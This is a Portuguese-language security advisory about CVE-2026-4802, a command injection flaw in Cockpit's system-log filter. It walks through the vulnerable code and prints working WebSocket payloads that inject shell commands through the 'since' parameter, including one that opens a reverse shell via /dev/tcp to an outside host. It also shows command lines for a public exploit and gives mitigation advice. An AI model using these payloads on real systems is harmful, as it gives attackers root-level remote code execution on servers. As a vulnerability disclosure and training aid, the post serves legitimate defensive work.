[PT-BR] CVE-2026-4802: Command execution on Cockpit

Escrito por  Texugo

Foi identificada uma vulnerabilidade de injeção de comandos no Cockpit, descoberta pelo time de Research da Hakai. A falha permite que um usuário autenticado, mesmo sem privilégios administrativos, injete comandos do sistema operacional através da funcionalidade de visualização de logs do sistema, obtendo execução remota de código no servidor.

Sobre o Cockpit

O Cockpit é uma ferramenta de administração de servidores Linux baseada em interface web, desenvolvida pela Red Hat e mantida como projeto open-source. A plataforma fornece uma interface gráfica para gerenciamento de serviços systemd, visualização de logs, configuração de rede, gerenciamento de armazenamento, containers e contas de usuário.

O Cockpit vem instalado por padrão em diversas distribuições Linux, incluindo Red Hat Enterprise Linux, Fedora, CentOS Stream, Ubuntu Server e Debian. A interface é acessível pela porta 9090 e utiliza um protocolo baseado em WebSocket para comunicação entre o navegador e o servidor.

A plataforma também oferece um sistema de controle de acesso baseado em privilégios do sistema operacional, permitindo que diferentes níveis de usuários acessem funcionalidades específicas. Mesmo usuários com permissões limitadas possuem acesso à interface de visualização de logs do sistema.

CVE-2026-4802

O ponto de partida da vulnerabilidade está em como o Cockpit processa os parâmetros de filtro na página de logs do sistema. A funcionalidade de logs permite que os usuários filtrem entradas do journal por diversos critérios, incluindo data, prioridade e identificador do serviço.

A função loadServiceFilters() no arquivo pkg/systemd/logsJournal.jsx é responsável por construir o comando journalctl que será executado no servidor para recuperar as entradas de log filtradas. Essa função recebe parâmetros controlados pelo usuário a partir do fragmento de URL da página de logs e os utiliza na construção do comando shell.

O problema ocorre porque os parâmetros fornecidos pelo usuário, como o valor de --since=, são incorporados na linha de comando com apenas um escape de espaços antes de serem passados para /bin/bash -ec. Isso permite que um atacante injete metacaracteres de shell, como substituição de comandos ($(...)), que serão interpretados pelo bash durante a execução.

Análise da falha

A vulnerabilidade envolve três pontos do código fonte do Cockpit.

No arquivo pkg/lib/journal.js, na linha 94, a função build_cmd() concatena o valor do parâmetro since diretamente no argumento --since= sem nenhuma sanitização. O valor vem de cockpit.location.options, ou seja, um parâmetros controlado pelo usuário:

if (options.since)
    cmd.push("--since=" + options.since);

No arquivo pkg/systemd/logsJournal.jsx, na linha 200, a função loadServiceFilters() recebe o array retornado por build_cmd(), aplica um quoting nos elementos e concatena tudo em uma única string que é passada para /bin/bash -ec:

loadServiceFilters(match, options) {
    const service_options = Object.assign({ output: "verbose" }, options);
    let cmd = journal.build_cmd(match, service_options);

    cmd = cmd.map(i => `'` + i.replaceAll(`'`, `'"'"'`) + `'`).join(" ");
    cmd = "set -o pipefail; " + cmd + " | grep SYSLOG_IDENTIFIER= | sort -u";
    cockpit.spawn(["/bin/bash", "-ec", cmd], { superuser: "try", err: "message" })

Na linha 211, a string resultante é passada para cockpit.spawn() com /bin/bash -ec, onde o shell interpreta metacaracteres que escapem do contexto de quoting.

Paralelamente, no arquivo pkg/systemd/logsHelpers.js, na linha 64, o parâmetro since também recebe apenas escape de espaços para exibição no filtro de texto da interface. Esse escape não neutraliza metacaracteres de shell como $, `, (, ) ou ;, permitindo que payloads maliciosos atravessem essa camada intactos até serem concatenados na chamada ao journalctl.

if (options.since)
    full_grep += "since:" + options.since.replaceAll(" ", "\\ ") + " ";

Vetor de exploração

A exploração ocorre através da conexão WebSocket do Cockpit, que utiliza o protocolo cockpit1 para transportar diferentes canais de comunicação entre o cliente e o cockpit-bridge no servidor. Entre os tipos de canal disponíveis, o stream permite executar processos no servidor através do campo spawn, que recebe diretamente o binário e os argumentos a serem executados, é justamente esse canal que será abusado para alcançar a injeção de comandos.

O atacante autentica-se no Cockpit com credenciais de um usuário válido, mesmo de baixo privilégio, como viewer. Em seguida, estabelece uma conexão WebSocket em /cockpit/socket utilizando o subprotocolo cockpit1 e inicializa a sessão com o comando init. A partir daí, abre um canal do tipo stream enviando um comando open com o array spawn contendo /bin/bash -ec e o comando injetado. O bash executa o comando, expandindo a substituição de comando $(...) e executando o payload do atacante.

Prova de conceito

Para demonstrar a vulnerabilidade, foi construído um payload que injeta o comando id redirecionando a saída para um arquivo:

--since=$(id>/tmp/cockpit-rce-check)

Esse valor é incorporado na construção do comando journalctl, resultando na seguinte linha de execução:

set -o pipefail; journalctl -q --no-tail --output=verbose --since=$(id>/tmp/cockpit-rce-check) --priority=err --reverse -- | grep SYSLOG_IDENTIFIER= | sort -u

Quando o bash executa essa linha, a substituição de comando $(id>/tmp/cockpit-rce-check) é avaliada primeiro, executando id e escrevendo o resultado no arquivo /tmp/cockpit-rce-check.

A requisição WebSocket para explorar a vulnerabilidade consiste em abrir um canal com o seguinte payload:

{
    "command": "open",
    "channel": "inject",
    "payload": "stream",
    "spawn": ["/bin/bash", "-ec", "set -o pipefail; journalctl -q --no-tail --output=verbose --since=$(id>/tmp/cockpit-rce-check) --priority=err --reverse -- | grep SYSLOG_IDENTIFIER= | sort -u"],
    "superuser": "try"
}

Após a execução, é possível verificar o resultado lendo o arquivo criado:

$ cat /tmp/cockpit-rce-check
uid=0(root) gid=0(root) groups=0(root)

Também é possível capturar a saída do comando executado no servidor diretamente pela resposta recebida via WebSocket.

Com a confirmação da execução de comandos, a exploração pode ser escalada para execução arbitrária de comandos e obtenção de uma reverse shell no servidor, ao enviar a requisição websocket abaixo:

{
    "command": "open",
    "channel": "inject",
    "payload": "stream",
    "spawn": ["/bin/bash", "-ec", "set -o pipefail; journalctl -q --no-tail --output=verbose --since=$(bash -i >& /dev/tcp/192.168.0.226/4444 0>&1) --priority=err --reverse -- | grep SYSLOG_IDENTIFIER= | sort -u"],
    "superuser": "try"
}

Desta forma, foi possível obter a execução de comandos arbitrários no servidor através da injeção de payloads maliciosos no parâmetro since do canal inject, que era concatenado diretamente na chamada ao journalctl sem qualquer sanitização. Ao explorar a command substitution ($(...)) dentro da requisição WebSocket, o conteúdo foi interpretado pelo /bin/bash, resultando em Remote Code Execution (RCE) no servidor, confirmada tanto pela escrita controlada de arquivos no sistema quanto pela obtenção de uma reverse shell totalmente funcional.


Exploit

Com base na análise da vulnerabilidade, foi desenvolvida uma prova de conceito automatizada em Python, que encapsula todo o fluxo de exploração, desde a autenticação no Cockpit até a injeção do payload e o estabelecimento da reverse shell, em uma única ferramenta de linha de comando. O exploit suporta três modos de operação: check, para validar a presença da vulnerabilidade no alvo; exec, para execução de comandos arbitrários com retorno da saída; e reverse, para obtenção de uma shell reversa no servidor afetado.

A prova de conceito está disponível publicamente no repositório da Hakai no GitHub:

https://github.com/hakaioffsec/CVE-2026-4802

$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check

$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"

$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444

Obtendo shell reversa pelo exploit:

Mitigação


Recomenda-se a atualização imediata do Cockpit para a versão mais recente disponível, que contém a correção para esta vulnerabilidade. Caso a atualização imediata não seja viável, recomenda-se como medida paliativa a restrição de acesso à interface do Cockpit apenas a usuários de confiança, e a revisão dos usuários com acesso ao sistema.

A correção adequada envolve a sanitização dos parâmetros controlados pelo usuário antes de sua incorporação na linha de comando, utilizando mecanismos de escape apropriados para prevenir a interpretação de metacaracteres de shell, ou preferencialmente, a passagem dos argumentos como array diretamente para o processo, evitando a invocação de /bin/bash -ec com uma string concatenada.

Vamos praticar!

O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio Pit simula um servidor com a vulnerabilidade mencionada nesta postagem e pode ser utilizado para reforçar o conhecimento apresentado.


Referências


https://bugzilla.redhat.com/show_bug.cgi?id=2451155

https://access.redhat.com/security/cve/CVE-2026-4802

https://www.cve.org/CVERecord?id=CVE-2026-4802

https://github.com/hakaioffsec/CVE-2026-4802

https://github.com/cockpit-project/cockpit/blob/ccb8c8950ade87c70c6365b24e9a21623564980e/pkg/systemd/logsJournal.jsx#L200-L226

https://github.com/cockpit-project/cockpit/blob/ccb8c8950ade87c70c6365b24e9a21623564980e/pkg/lib/journal.js#L94-L95

https://github.com/cockpit-project/cockpit/blob/ccb8c8950ade87c70c6365b24e9a21623564980e/pkg/systemd/logsHelpers.js#L64-L65

https://cockpit-project.org

https://cwe.mitre.org/data/definitions/78.html

Logo da Hakai.